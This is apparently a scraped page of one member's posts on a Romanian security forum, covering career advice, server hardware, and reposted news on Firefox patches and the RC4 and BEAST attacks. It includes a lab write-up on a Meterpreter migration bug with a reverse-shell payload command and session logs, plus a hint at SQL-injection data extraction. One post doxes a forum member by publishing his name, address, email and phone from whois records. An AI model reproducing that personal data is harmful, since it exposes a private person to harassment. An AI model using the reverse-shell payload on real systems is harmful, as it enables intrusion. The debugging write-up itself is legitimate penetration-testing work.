Nytro

Calm, din cate stiu majoritatea institutiilor statului sunt gazduite si au acces la Internet prin STS. De exemplu Academia Tehnica Militara, o facutate din Bucuresti, are IP-uri tot de la STS.

Cluefire and Damnation I don't see what C++ has to do with keeping people from shooting themselves in the foot. C++ will happily load the gun, offer you a drink to steady your nerves, and help you aim. -- Peter da Silva Link: http://cluefire.net/

Vulnerabilitati Web si securizarea acestora

eusimplu : E ok oricum, doar sugerez ca in CV sa apara titlurile articolelor mai importante, care pot avea valoare pentru angajator. UnUser : Facultatea te poate invata multe lucruri: mai multe limbaje de programare, algoritmi, te poate "forta" sa faci proiecte si foarte important, te poate invata sa lucrezi in echipa. Astfel de lucruri ajuta mult dupa angajare. Cateva idei as mai vrea sa va dau: 1. Creati-va CV-ul in functie de postul pe care vreti sa il ocupati: daca vreti sa fiti programator C++, treceti cat mai multe lucruri, chiar si proiecte foarte mici si incercati sa evitati alte lucruri cum ar fi proiecte web: PHP sau altceva 2. Nu folositi anumite sabloane pentru prezentare, nu depasiti 3 pagini si puneti accent pe ceea ce considerati ca vrea sa vada un angajator. A, faceti un mail special pentru angajare, x_dark_sexos_boy@yahoo.com nu cred ca il va atrage pe angajator

E doar un sfat: - Faceti CV-ul - Puneti toate proiectele la care ati lucrat - Puneti toate articolele pe care le-ati scris - Puneti limbajele de programare pe care le cunoasteti (adica ati scris cel putin 2000-3000 de linii de cod in acel limbaj, ati citit o carte si nu un tutorial de 2 lei pentru a invata sau ati urmat niste cursuri) - Mentionati tot ce considerati ca ar putea fi util Apoi, dupa ce CV-ul e gata: 1. Cititi-l si faceti-va o impresie despre cum va petreceti timpul frecand menta 2. Ganditi-va ce veti face pe viitor: vreti sa lucrati in domeniu, sau sa faceti shaorma? 3. Ganditi din perspectiva unui angajator. Vrei sa angajezi pe cineva care are CV-ul ca al tau. Ce faci? Postati aici concluziile. NU postati date personale din CV, puteti posta la ce proiecte ati lucrat de exemplu. Spuneti-va parerea, ce rezultate au iesit, cat de multumiti sunteti de voi pana in prezent. FACETI CV-ul, nu doar va ganditi la el. Stiu ca unii sunteti tineri, dar veti ajunge sa il faceti si cred ca o sa va fie util daca va ganditi de acum la acest lucru. Bafta!

Firefox 24 Patches 17 Security Vulnerabilities by Brian Donohue he Mozilla Foundation released Firefox 24 yesterday, issuing 17 security patches for the browser. Seven of the bulletins received the highest, critical impact rating, four are considered high impact advisories, the second most severe rating, and the remaining six are of moderate impact. Mozilla’s patch contained more total and critically rated advisories than any other since January. According to Mozilla’s security advisories, critical impact bugs are those that give attackers the ability to run code or install malicious software with no user interaction beyond typical browsing: The first critical advisory, MFSA 2013-92, resolves a garbage collection hazard with default compartments and frame chain. The bug, which could be exploited to establish a use after free scenario, was uncovered by a security researcher operating under the handle Nils and a Mozilla developer named Bobby Holley. MFSA 2013-90 is a pair memory corruption bugs also reported by Nils. The first led to a use after free condition while scrolling through an image document and the second had to do with nodes in a range request being added as children of two different parents. Security researcher Aki Helin reported found that combining lists, floats, and multiple columns could trigger an exploitable buffer overflow, which mozilla fixes with MFSA 2013-89. Using the address sanitizer tool, researcher Scott Bell discovered a use-after-free condition after destroying a <select> element form. If MSFA 2013-81 goes unpatched, it could lead to a potentially exploitable crash. Chrome security team member Abhishek Arya found a crashable use-after-free problem (MSFA 2013-79) in the Animation Manager while also using the address sanitizer tool. MSFA 2013-78 patches an integer overflow bug, discovered by Alex Chapman, in the Almost Native Graphics Layer Engine (ANGLE) library that Mozilla uses. The vulnerability existed because “of insufficient bounds checking in the drawLineLoop function, which can be driven by web content to overflow allocated memory, leading to a potentially exploitable crash.” The last critical impact bulletin, MSFA 2013-76, fixes a handful of memory safety hazards uncovered by Mozilla developers. The four high impact advisories fix a JavaScript compartment mismatch issue, an issue in Firefox for Android that allows the loading of shared objects from writeable locations, Mozilla’s failure to lock MAR files after signature verification, a problem that could potentially allow an attacker to run executable files, and another crash-bug that has to do with the calling scope for JavaScript objects. High impact vulnerabilities are those that an attacker can exploit to gather sensitive data from other sites the user is visiting or inject data or code into those sites, also while the user is browsing normally. Moderate impact bugs are high of critical impact bugs that an attacker could only exploit under uncommon circumstances when a user is running non-default configurations. Mozilla’s fixes for these bugs are as follows: user-defined properties on DOM proxies get the wrong “this” object, WebGL Information disclosure through OS X NVIDIA graphic drivers, uninitialized data in IonMonkey, same-origin bypass through symbolic links, NativeKey continues handling key messages after widget is destroyed, and improper state in HTML5 Tree Builder with templates. Sursa: Mozilla 24 Resolves 17 Security Vulnerabilities | Threatpost

Folosesti Windows server daca ai o retea de calculatoare cu Windows pe care vrei sa le pui intr-un domeniu, folosesti Sharepoint, Outlook (deci Exchange), SQL Server, gazduire ASP.NET si alte servicii Microsoft. Nu ma pricep prea bine, dar m-am uitat si eu pe un Windows server si e foarte usor de configurat. Practic iti ofera un GUI din care faci tot ce vrei: configurare IIS, site-uri in ASP.NET si o gramada de alte porcarii. Pentru toate celelalte exista Linux.

A, deci servar nu e ala de Counter-Strike Cateva idei ale mele ar fi urmatoarele: 1. Serverele sunt masini (ca hardware) mult mai puternice: procesoare mai puternice, deseori mai multe procesoare, mai multa memorie RAM: 8 GB, 16 GB, 32 GB, 48 GB sau chiar mai mult 2. Procesoarele sunt special pentru servere. Cu alte cuvinte, daca o firma iti ofera server cu procesor i3, i5, i7, le dai muie, alea sunt procesoare pentru laptop-uri nu pentru servere. Pe server un procesor trebuie sa poata rula ani de zile fara a fi oprit, nu sa ia foc (probabil) ca un i*. 3. Capacitate de stocare mare: cand e necesar, 2 TB sau 500 GB SSD de exemplu sunt ok 4. Ca aspect fizic, de cele mai multe ori serverele sunt niste blade-uri (aici) pentru a putea fi puse usor unul langa altul. E foarte util deoarece de cele mai multe ori firmele au foarte multe servere identice si astfel sunt foarte usor de montat 5. Din punct de vedere hardware au fosrte multe porturi: Gigabit, mai multe slot-uri pentru RAM, multe slot-uri pentru hard-disk-uri si multe altele. Astfel poti configura un server cum doresti 6. Consuma mai mult curent electric si au nevoie de racire constanta. Datacenter-ele au propriile sisteme de racire si generatoare de rezerva Cam astea ar fi ideile cele mai importante.

Da, m-am corectat

Avira lanseaza gama de produse 2014 in testare beta By Radu FaraVirusi(com) on September 17, 2013 [TABLE=class: tssbar, width: 60, align: center] [TR] [/TR] [TR] [/TR] [TR] [/TR] [TR] [TD=align: center][/TD] [/TR] [/TABLE] De curand Avira si-a anuntat beta testerii ca versiunea 2014 a fost lansata pentru testare. In afara de mici (chiar inobservabile) modificari in grafica, nu exista nicio modificare notabila in sensul adaugarii unor module noi sau imbunatatiri ale celor existente. Firewall-ul, backup-ul si filtrul anti-spam au fost indepartate din noua gama de produse. In locul firewall-ului este inclus un pachet ceva mai avansat de configurare a Windows Firewall. Iata si lista oficiala a modificarilor: Discontinued features Avira Antispam (aka SPACE) is discontinued and removed from the offer. It was in Internet Security and Internet Security Plus. Local Backup is discontinued and removed from the offer. It was in Internet Security and Internet Security Plus. Avira FW is discontinued and replaced with Windows Firewall Management for OS higher than Vista.. Additional changes / bugfixes in all products Enable WFP on Win7 and Win 8 for all products that need it Remove the safe start functionality from all products and all OS Known Issues Symbol check fails on several files WSCSVC (Windows Security Center Service) shows that Avira is still set as AV Software after uninstallation when the WSCSVC is set to manual start AntiVir Service will hang sometimes after multiple restarts Systray icon might be missing even though avgnt.exe is running Purchase links for Internet Security Suite are broken LSP Mailguard does not close socket after detection MD5 mismatch will show up during update from AV13 ISEC to AV14 Free version will be available later next week Stau si ma intreb pe buna dreptate cui foloseste aceasta versiune noua si de ce trebuie sa se numeasca 2014 cand este chiar sub 2013 ?! In orice caz, o puteti testa si voi, pentru a nu fi acuzat de partinire, la adresa: https://betacenter.avira.com/ Sursa: Avira lanseaza gama de produse 2014 in testare beta

for(int i=0;i<n/2;i++){ for(int j=i+1;j<n;j++){ Edit: Scuze, nu e ok, primul "for" merge doar pana la n/2. Avem: (n-1)+(n-2)+...+(n-n/2). Adica mult mai putin. De ce? La i == 0 avem (n-1) pasi La i == 1 avem (n-2) pasi ... La i == n/2 - 1 avem (n - n/2) pasi Rezultatul e suma acestor adunari. Mai exact: n(n-1)/2 - ( n/2 * (n/2 + 1) )/2 Adica suma lui Gauss de la 1 la n-1 din care scadem suma lui Gauss de la 1 la n/2. Cred ca rezultatul final e: 3n(n-2) / 8. Sper ca nu m-am incurcat pe acolo: http://i.imgur.com/ebAxHOO.jpg

Vezi ce se poate scoate. Scoate CURRENT_USER sa vezi hostname-ul.

Lasa-ma sa ghicesc: esti un membru vechi cu un cont nou. Nu stiu de ce, dar toti, cand "reveniti" sub un alt nume incepeti sa folositi diacritice.

Administrative Name: Vasilica Ciobotaru Administrative Company: Vasilica Ciobotaru Administrative Address: Convento Administrative Address: Torrelguna Administrative Address: Madrid Administrative Address: 28180 Administrative Address: ES Administrative Email: ciobi72@yahoo.com Administrative Tel: +34.666816641 Adica el: https://rstforums.com/forum/members/eta/

64bit Pointer Truncation in Meterpreter If you haven’t ever heard of Meterpreter before, you might want to go and take a look at it before reading this post to help give some context. In short, Meterpreter is an amazing library that is part of the Metasploit Framework and can be used to give you tremendous power and control over target machines during a penetration test. Anyone and everyone in the security game is most likely familiar with both Metasploit and Meterpreter, at the very least, if not closely intimate with them. The toolset is fantastic, and is open source! I’m currently in the very fortunate position of working with the crew from Rapid7 to help improve Meterpreter, particularly on the Windows (both 32 and 64 bit). I have a good list of things to work through while I’m on board including making it easier to build for potential contributors, and to fix some outstanding issues that the R7 crew haven’t had the bandwidth to fix. These people are super-smart, and super-nice and I’m honoured that I’ve been selected to work alongside them. The purpose of this post is to document the process and resolution of a bug that I have helped resolve since joining. I also aim to lift the lid on Meterpreter a little and help expose how some bits of it work. I hope you enjoy. Meterpreter Basics When exploiting a vulnerability during a penetration test using Metasploit, you have a number of payloads that you choose to use which give you some sort of control over your target. Of those payloads, Metepreter is not only the most common, but is probably the most powerful. Once you have an instance of Metepreter running on a target, you’ve got quite a lot of control. You can escalate privileges, dump password hashes, launch processes, upload files, and you can even use it as a pivot-point for launching attacks against other non-routable hosts. While the power of all this is enough to bake anyone’s noodle, the thing that blows my mind the most is Meterpreter’s ability to migrate to other processes. That is, Meterpreter can dynamically load itself into another processes and then reconnect to your Metasploit session seamlessly without any effort from the attacker (ie. you). Simply executing migrate <process id> at the Meterpreter prompt is all it takes. There are some caveats when it comes to migration. In particular, you need to have permission to write to the target process’s memory otherwise the migration will not succeed. Meterpreter comes in quite a few flavours, including PHP, Python, and native/C for Linux and Windows. Some implementations are more feature-rich than others, but they all have common functionality which makes it easy to perform a variety of functions on a compromised host. We’ll be focusing on the Windows native payload in this post, and in particular we’ll be looking at how Meterpreter is loaded and executed. Reflective DLL Injection Simply put, Reflective DLL Injection is a method for injection a DLL into a process. No surprises there. However, it has some nifty properties that make a great candidate for use in tools such as Meterpreter. Some of those points include: Position-independence. Lack of host system registration. Largely undetectable on the target at both a system and process level. The canonical paper [PDF], written by Stephen Fewer, is well worth reading and can be found on the Harmony Security website. Read it. It’s amazing, and does a much better job of explaining itself than I could ever hope to. I would like to point out that there’s a multi-stage process involved which includes: Writing the code to an executable area of memory. Executing the loader which creates a valid DLL image in memory. Calling DllMain on the loaded DLL. Returning control to the process that invoked it. With that in mind, let’s take a look at the bug. The Bug The bug that was reported related to process migration, and went something like this (paraphrased slightly with a bit more information): Trying to migrate Metepreter between processes on Windows 2012 seems to be unreliable. It will migrate just fine into some processes, such as explorer.exe, without any problems. However, spawning another process, such as notepad.exe, and migrating to it hangs the entire session. Migrating to the winlogon.exe process crashes the entire user environment on the target host. When I first read this report I thought “Wow, how am I going to track this down?”, and I’ll admit that I was a little intimidated at first, especially given that I knew that the native Windows Meterpreter was using Reflective DLL Injection to load itself into other processes. However, it’s been a long time since I’d been tasked with something this challenging and so, deep down, I was looking forward to diving in. Replication The first step was to fire up a Windows 2012 virtual machine and replicate the problem. Windows 2012 only comes in a 64-bit flavour, so picking the right version wasn’t a problem. After installation, I needed to simulate an attack coming from Metasploit so that I could interact with Meterpreter to perform the migration. Creating a payload to do this is really simple thanks to msfpayload (part of Metasploit). On my Backtrack VM I used the following command to generate the PE image: root@bt:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=10.5.26.40 LPORT=443 X > 40-443-x64.exe This command creates a 64-bit Windows executable that contains a small stager. This stager connects to 10.5.26.40 (my Backtrack VM) on port 443 (I always choose the HTTPS port to avoid potential outbound firewall issues). Once connected it will download the Meterpreter payload and establish a session with Metasploit. I copied this binary to the Windows 2012 machine ready to execute. At this point, Metasploit needs to be set up and configured to deal with the incoming request. On the Backtrack VM, we run msfconsole and set it up to use multi/handler with the appropriate settings, like so: msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 10.5.26.40 yes The listen address LPORT 443 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target With those settings in place, the exploit was ready to fire: msf exploit(handler) > exploit [*] Started reverse handler on 10.5.26.40:443 [*] Starting the payload handler... From the Windows 2012 VM I ran the exploit binary and my Metepreter session kicked off: [*] Sending stage (951296 bytes) to 10.5.26.30 [*] Meterpreter session 1 opened (10.5.26.40:443 -> 10.5.26.30:38516) at 2013-09-11 21:55:52 +1000 meterpreter > getuid Server username: WIN-URCAUVPE291\OJ Reeves meterpreter > sysinfo Computer : WIN-URCAUVPE291 OS : Windows 2012 (Build 9200). Architecture : x64 System Language : en_US Meterpreter : x64/win64 meterpreter > Before trying the failure case, I wanted to make sure that the known success case worked locally first. I decided to migrate to explorer.exe and see if anything changed: meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4294967295 4 0 System 4294967295 444 4 smss.exe 4294967295 484 708 svchost.exe 4294967295 536 524 csrss.exe 4294967295 604 596 csrss.exe 4294967295 612 524 wininit.exe 4294967295 640 596 winlogon.exe 4294967295 692 720 explorer.exe x86_64 1 WIN-URCAUVPE291\OJ Reeves C:\Windows\Explorer.EXE 708 612 services.exe 4294967295 716 612 lsass.exe 4294967295 804 708 svchost.exe 4294967295 816 708 svchost.exe 4294967295 ... snip ... meterpreter > migrate 692 [*] Migrating from 1508 to 692... [*] Migration completed successfully. meterpreter > getuid Server username: WIN-URCAUVPE291\OJ Reeves meterpreter > sysinfo Computer : WIN-URCAUVPE291 OS : Windows 2012 (Build 9200). Architecture : x64 System Language : en_US Meterpreter : x64/win64 meterpreter > Migration seemed to work. Next I tried the failure case. First I launched notepad.exe and then attempted to migrate to it: meterpreter > execute -f notepad.exe -t -H Process 192 created. meterpreter > migrate 192 [*] Migrating from 692 to 192... [-] Error running command migrate: Rex::RuntimeError No response was received to the core_loadlib request. meterpreter > The session hung at this point and no Meterpreter commands would work. When I went over to the Windows 2012 VM I saw that there was a notification that the notepad.exe process had crashed. This was great as I was able to reproduce the failure. It was time to investigate the problem. Diagnosis To help figure out what was going wrong, I enlisted the help of two of my favourite tools: DebugView and Windbg. Coverage of these tools is beyond the scope of the article, so if you want to learn more about them you’ll find a stack of information out on the web. Given that this machine was 64-bit and the process we were aiming to debug was 64-bit, I installed the 64-bit version of the Debugging Tools for Windows so that the right version of windbg was available. Before dabbling with any of the binaries and adding debug detail, I repeated the failure scenario but with one small change: I launched notepad.exe manually and attached to it from windbg prior to performing the migration. I left DebugView running as well to catch any debug messages from processes outside of the one that windbg was attached to. Upon running the migrate command notepad.exe crashed and windbg caught the exception. This is what it showed: (ab0.448): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 00000000`707a7b5c ?? ??? We can see that we’re accessing memory that we shouldn’t be accessing. But why? 0:003> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: unknown!printable+0 00000000`707a7b5c ?? ??? EXCEPTION_RECORD: ffffffffffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00000000707a7b5c ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 0000000000000008 Parameter[1]: 00000000707a7b5c Attempt to execute non-executable address 00000000707a7b5c ... snip ... The migration process results in an attempt to execute a section of code in an area of memory that isn’t marked as executable. Let’s confirm that: 0:003> !vprot 00000000707a7b5c BaseAddress: 00000000707a7000 AllocationBase: 0000000000000000 RegionSize: 000000000f839000 State: 00010000 MEM_FREE Protect: 00000001 PAGE_NOACCESS As we can see the memory area is definitely not marked as executable. But should it be? Should this memory be executable, or are we just pointing to an invalid area of memory? If it was the former, then it might imply that DEP or ASLR are somehow interfering. However, my gut feeling was that it was the latter. A quick look at the contents of the memory at this location would be enough to confirm: 0:003> du 00000000707a7b5c 00000000`707a7b5c "????????????????????????????????" 00000000`707a7b9c "????????????????????????????????" 00000000`707a7bdc "????????????????????????????????" 00000000`707a7c1c "????????????????????????????????" 00000000`707a7c5c "????????????????????????????????" 00000000`707a7c9c "????????????????????????????????" 00000000`707a7cdc "????????????????????????????????" 00000000`707a7d1c "????????????????????????????????" 00000000`707a7d5c "????????????????????????????????" 00000000`707a7d9c "????????????????????????????????" 00000000`707a7ddc "????????????????????????????????" 00000000`707a7e1c "????????????????????????????????" It’s pretty clear that no valid code is located in this area of memory. This implied that there was a possibility that a pointer to an area of code is somehow going awry. But where? To find this out, I needed to add some more debug output to Meterpreter. Next, I opened the Meterpreter source in Visual Studio 2012 (freshly moved from VS 2010 by yours truly) and prepared to rebuild the binaries with some extra debug output. I littered the code with OutputDebugString calls at various key locations, enabled the existing logging that was built into the source, and rebuilt the suite of binaries from scratch. Once built, I deployed them to my Backtrack VM, fired up DebugView on the Windows 2012 VM and repeated the process (including attaching to notepad.exe with windbg). Here’s a snippet of the output: [SERVER] Initializing... [SERVER] module loaded at 0x350B0000 [SERVER] main server thread: handle=0x00000138 id=0x000008F0 sigterm=0x334D7B20 [SERVER] Using SSL transport... [SERVER] Initializing tokens... [SERVER] Flushing the socket handle... [SERVER] Initializing SSL... [SERVER] Negotiating SSL... ModLoad: 000007ff`58060000 000007ff`58075000 C:\Windows\system32\NETAPI32.DLL ModLoad: 000007ff`586d0000 000007ff`586de000 C:\Windows\system32\netutils.dll ModLoad: 000007ff`5b020000 000007ff`5b044000 C:\Windows\system32\srvcli.dll ModLoad: 000007ff`58020000 000007ff`58035000 C:\Windows\system32\wkscli.dll ModLoad: 000007ff`5ad10000 000007ff`5ad2a000 C:\Windows\system32\CRYPTSP.dll ModLoad: 000007ff`5a990000 000007ff`5a9d9000 C:\Windows\system32\rsaenh.dll [SERVER] Sending a HTTP GET request to the remote side... [SERVER] Completed writing the HTTP GET request: 27 [SERVER] Registering dispatch routines... Registering a new command (core_loadlib)... Allocated memory... Setting new command... Fixing next/prev... Done... [SERVER] Entering the main server dispatch loop for transport 0... [DISPATCH] entering server_dispatch( 0x334D7B60 ) [SCHEDULER] entering scheduler_initialize. [SCHEDULER] leaving scheduler_initialize. [DISPATCH] created command_process_thread 0x33523030, handle=0x000001F0 [COMMAND] Processing method core_loadlib [COMMAND] core_loadlib: Entry [COMMAND] core_loadlib: libraryPath (ext264209.x64.dll) flags (2) [COMMAND] core_loadlib: lib does not exist locally (being uploaded) [COMMAND] core_loadlib: lib is not to be stored on disk [LOADLIBRARYR] starting [LOADLIBRARYR] GetReflectiveLoaderOffset [LOADLIBRARYR] GetReflectiveLoaderOffset (5488) [LOADLIBRARYR] Calling VirtualProtect lpBuffer (0000008935318B20) length (428544) [LOADLIBRARYR] Calling pReflectiveLoader (000000893531A090) ModLoad: 000007ff`555e0000 000007ff`55600000 C:\Windows\system32\WINMM.dll ModLoad: 000007ff`555a0000 000007ff`555d2000 C:\Windows\system32\WINMMBASE.dll ModLoad: 000007ff`57e00000 000007ff`57e2c000 C:\Windows\system32\IPHLPAPI.DLL ModLoad: 000007ff`57de0000 000007ff`57dea000 C:\Windows\system32\WINNSI.DLL [LOADLIBRARYR] Calling pDllMain (0000000033449BEC) (9b8.968): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 00000000`33449bec ?? ??? The extra debug calls that I added to the source are those marked with [LOADLIBRARYR]. These calls were located in the guts of the reflective DLL injection code. As we already know from earlier in this post, the reflective DLL injection code dynamically builds a valid DLL image in memory and then invokes it. The method which builds this DLL image is called ReflectiveLoader() and is invoked in code via a pointer called pReflectiveLoader, which you can see in the above output. At the end of the ReflectiveLoader() function, a reference to DllMain() is resolved and invoked directly prior to returning control to the caller. Once this function returns, the Meterpreter-specific code then calls DllMain() again, using the value returned from ReflectiveLoader(), to invoke some functionality required by the Metasploit framework. In the above output, you can see the pointer to DllMain() called pDllMain, and this is the pointer that’s used to make the call. What was interesting about the log is that the first call to DllMain() that is invoked in the body of ReflectiveLoader() worked fine, otherwise the process would have crashed prior to the line that outputs the value of the pDllMain variable. Instead, it was the second call to DllMain() via the pDllMain pointer that caused the crash. This implied that the memory address that was being returned from ReflectiveLoader() was incorrect. The nature of the reflective loading mechanism implied to me that the addresses of pReflectiveLoader and pDllMain should actually be quite close together in memory. However, focussing on a small part of the output, I noticed the following: [LOADLIBRARYR] Calling pReflectiveLoader (000000893531A090) [LOADLIBRARYR] Calling pDllMain (0000000033449BEC) Those two pointers were nowhere near each other! The more perceptive of you will have noticed that the pDllMain pointer appeared to have lost its higher-order DWORD. The pointer had in fact been truncated! But why? It wasn’t immediately obvious to me what the reason was, but I was keen to validate that this was the case. To prove my theory, I hacked the code a little so that the higher-order DWORD of the pReflectiveLoader value was used as the higher-order DWORD of pDllMain as well. The hack looked something like this: ULONG_PTR ulReflectiveLoaderBase = ((ULONG_PTR)pReflectiveLoader) & (((ULONG_PTR)-1) ^ (0xFFFFFFFF)); pDllMain = (DLLMAIN)(pReflectiveLoader() | ulReflectiveLoaderBase); After the above code, pDllMain would have the same higher-order DWORD value as pReflectiveLoader. I compiled, deployed, executed … … and it worked! Resolution Armed with the knowledge earned from the above diagnosis, I set about looking through the code to see why this pointer was being truncated. Clearly the value was perfectly fine prior to being returned from ReflectiveLoader(), so why was it truncated upon return? I spent quite a bit of time looking around, and I didn’t find anything. Nothing was leaping out at me. I felt really stupid. So instead of beating about the bush, I contacted the man himself, the author and creator of Reflective DLL Injection himself, Mr Stephen Fewer. I explained the situation to him, detailed my findings and asked if he any idea as to why this problem might be occurring. It didn’t take long to get a response. Stephen jumped on the issue straight away, fixed it and submitted a pull request to the Meterpreter repository before emailing me back with details of the solution. Talk about great service! When I saw the solution I immediately felt stupid for missing it myself. In hindsight I should have known to look in this location. I ate some humble pie and savoured the taste while expressing my gratitude to Stephen for his prompt response. So what was it? The pReflectiveLoader pointer is a function pointer of a type defined like so: typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID ); However, the ReflectiveLoader() function was defined in the source like so: #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) #else DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) #endif { // ... snip ... } So the function returns a ULONG_PTR (which is 64-bits) but the function pointer type returned a DWORD (which is 32-bits). This is what was causing the truncation of the pointer and effectively zeroing out the higher-order DWORD of pDllMain. The fix was to simply change the return type of the function pointer to match: typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); Problem solved. Extra Thoughts and Conclusion For those of you who are wondering, like I was, why this was an intermittent problem the answer lies in the fact that the new versions of Windows have newer versions of ASLR. To quote Stephen: The bug was triggering on Server 2012 but not other 64bit systems probably due to high entropy ASLR making allocations over the 4gig boundary. Earlier versions of Windows didn’t have an ASLR implementation that resulted in memory allocations over the 4GB boundary. As a result, the higher-order DWORD was always zero anyway, which meant that the truncation had no impact. This was a really fun bug to analyse and track down. I’m glad we got to the bottom of it. Again I’d like to thank Stephen for his involvement in locating the source of the problem. The new and improved version of Meterpreter that contains this fix will be landing in Metasploit very soon (I hope). Thanks for reading. Comments and feedback are welcomed. Sursa: 64bit Pointer Truncation in Meterpreter - OJ's perspective

Ok, dar cum se face asta: "Our goal is to produce a PCI card which, when present in a machine running Linux, modifies the kernel" ?

Attack Exploits Weakness in RC4 Cipher to Decrypt User Sessions [h=1]Attack Exploits Weakness in RC4 Cipher to Decrypt User Sessions[/h] by Dennis Fisher It’s been more than 25 years since Ron Rivest invented his RC4 stream cipher, and after all that time it’s still being used widely, which is something of an achievement in the crypto world. However, for more than 15 years researchers have known about a weakness in RC4 that could enable an attacker to decrypt the keystream. Now, a cryptographer has published an attack that exploits that vulnerability and causes serious problems with TLS implementations. Daniel J. Bernstein, a professor at the University of Illinois at Chicago, presented his research on secret-key cryptosystems this week and the major revelation was a practical attack against a known weakness in RC4 that enables an attacker to compromise a victim’s session with a site protected by TLS. The fact that the first 256 bytes of an RC4 key contained biases has been known for more than 15 years, but the work that Bernstein and his fellow researchers did shows that an attack against TLS/RC4 is feasible. RC4 is a stream cipher, so it encrypts plaintext by mixing it with a series of random bytes, making it impossible for anyone to decrypt it without having the same key used to encrypt it. But, the bytes used to encrypt the plaintext aren’t really as random as they should be, at least at the beginning of the process. That makes it possible for an attacker to figure out the plaintext of an encrypted message with access to enough TLS requests. The problem is that there are biases in the keystream, making life easier for an attacker. “We’ve known about this for more than ten years. But as far as we knew, there was no way to attack this in RC4 in the way it’s used in SSL. A lot of crypto people are mystified about why we thought that,” said Thomas Ptacek, principal at Matasano Security. “It’s really kind of blatant. It turns out that the way that this is crappy in TLS is really easy to exploit.” However, Ptacek said, just because it can be exploited doesn’t mean that it’s the best way to go after a target’s encrypted session. In fact, there are many better ways to accomplish the same goal, and much more quickly. The attack that Bernstein and his colleagues described requires hundreds of millions of identical browser requests and could take a while to execute. “It’s a technique that is relatively easy to write code for, unlike some other cryptanalysis attacks, but it’s slow and expensive to use in the real world,” Ptacek said. “There’s no way you would not notice this attack. The actual attack is really painful to launch. The likelihood of this being exploited in the wild is low. If you’re looking for a way to break a user’s encrypted session quickly, this is not it. You’d go after application layer vulnerabilities long before you’d do this. You’d have a lot more luck with phishing or spoofing SSL or counting on people to ignore certificate warnings.” Although RC4 is ancient in cryptography terms, it’s still used widely, and in fact in the wake of the BEAST and CRIME attacks of the last couple of years securty experts recommended that sites switch to RC4 from other ciphers as a way to defend against the weaknesses those attacks exploit. That may still be the better choice in many cases, but the results from Bernstein and his colleagues show that RC4 is even less safe than previously thought. “It’s hard to overstate how bad this behavior is from a stream cipher,” Ptacek said. Sursa: Attack Exploits Weakness in RC4 Cipher to Decrypt User Sessions | Threatpost STIREA E VECHE. Am postat-o pentru ca e ceva bine de stiut.

Not So Fast on BEAST Attack Mitigations by Michael Mimoso The BEAST cryptographic attack, once thought to be largely mitigated, has two things conspiring against it to make breaches potentially possible again. Not only has a server-side mitigation essentially been rendered moot by recent research into the RC4 cryptographic protocol, but Apple has yet to enable by default a client-side mitigation into its Safari browser that would keep BEAST at bay, according to research done by Qualys director of application research Ivan Ristic. BEAST is an attack tool that targets a vulnerability in TLS 1.0 and SSL 3.0 and was reported in September 2011 by researchers Juliano Rizzo and Thai Duong. They built the BEAST tool, which is capable of grabbing and decrypting HTTPS cookies and hijacking browsing sessions in order to steal credentials and more. Major browser makers, except for Apple, addressed the issue on the client side by implementing a technique known as 1/1-n split. The technique stops attackers from being able to predict the initialization vector blocks that are used to mask plaintext data before it is encrypted. An attacker with a man-in-the-middle presence in a browser session can predict the initialization vector blocks, see what the encrypted data output looks like and influence what is encrypted, Ristic said. No data can be decrypted, Ristic said, but an educated attacker with enough guesses is likely to land on the correct one. “Because guessing is not very efficient, the BEAST attack can in practice used to retrieve only small data fragments,” Ristic wrote. “That might not sound very useful, but we do have many highly valuable fragments all over: HTTP session cookies, authentication credentials (many protocols, not just HTTP), URL-based session tokens, and so on. Therefore, BEAST is a serious problem.” Ristic told Threatpost that browser vendors were quick to deploy the 1/1-n split except for Apple, which encoded the mitigation into its Mountain Lion release more than a year ago, but disabled it by default. “There is no statement [from Apple] on its intentions or published information on how to enable mitigation if people wanted to,” Ristic said, adding that only experience security-aware people would likely think about enabling this type of defense. On the server side, the best way to mitigate BEAST had been to enforce RC4 encryption whenever TLS 1.0 is used. However, experts Dan Bernstein, Kenny Paterson, Nadhem AlFardan, Bertram Poettering and Jacob Schuldt published an attack that exploits a weakness in RC4 that could allow an attacker to decrypt the key stream—an issue that’s been known about in the community for 15 years. “Now that RC4 is weak, we have to begin to take measures to disable it. So therefore, we can no longer mitigate BEAST on the server side,” Ristic said. “As long as Safari remains theoretically vulnerable, we are afraid that any change in browser capabilities may lead to a condition that would enable an exploit to the BEAST attack.” BEAST attacks are ideal in targeted attacks against specific individuals and attackers would need to carry out a man-in-the-middle attack to exploit the issue; BEAST cannot be done on any kind of scale, Ristic said. Also, the source code for BEAST was never released by Rizzo and Duong. Ristic also cautions that deploying TLS 1.1 or TLS 1.2 would not address BEAST, regardless of the fact they don’t know carry the same initialization vector weakness as TLS 1.0. Most of the Internet remains on TLS 1.0 and while future browsers will support TLS 1.2, Ristic said they will still be vulnerable to protocol downgrade attacks. “An active MITM can simulate failure conditions and force all browsers to back off from attempting to negotiate TLS 1.2, making them fall back all the way down to SSL 3,” Ristic said. “At that point, the predictable [initialization vector] design is again a problem. Until the protocol downgrade weakness is fixed, newer protocols are going to be useful only against passive attackers, but not against the active ones.” Sursa: BEAST Cryptographic Attack Mitigations Overturned | Threatpost

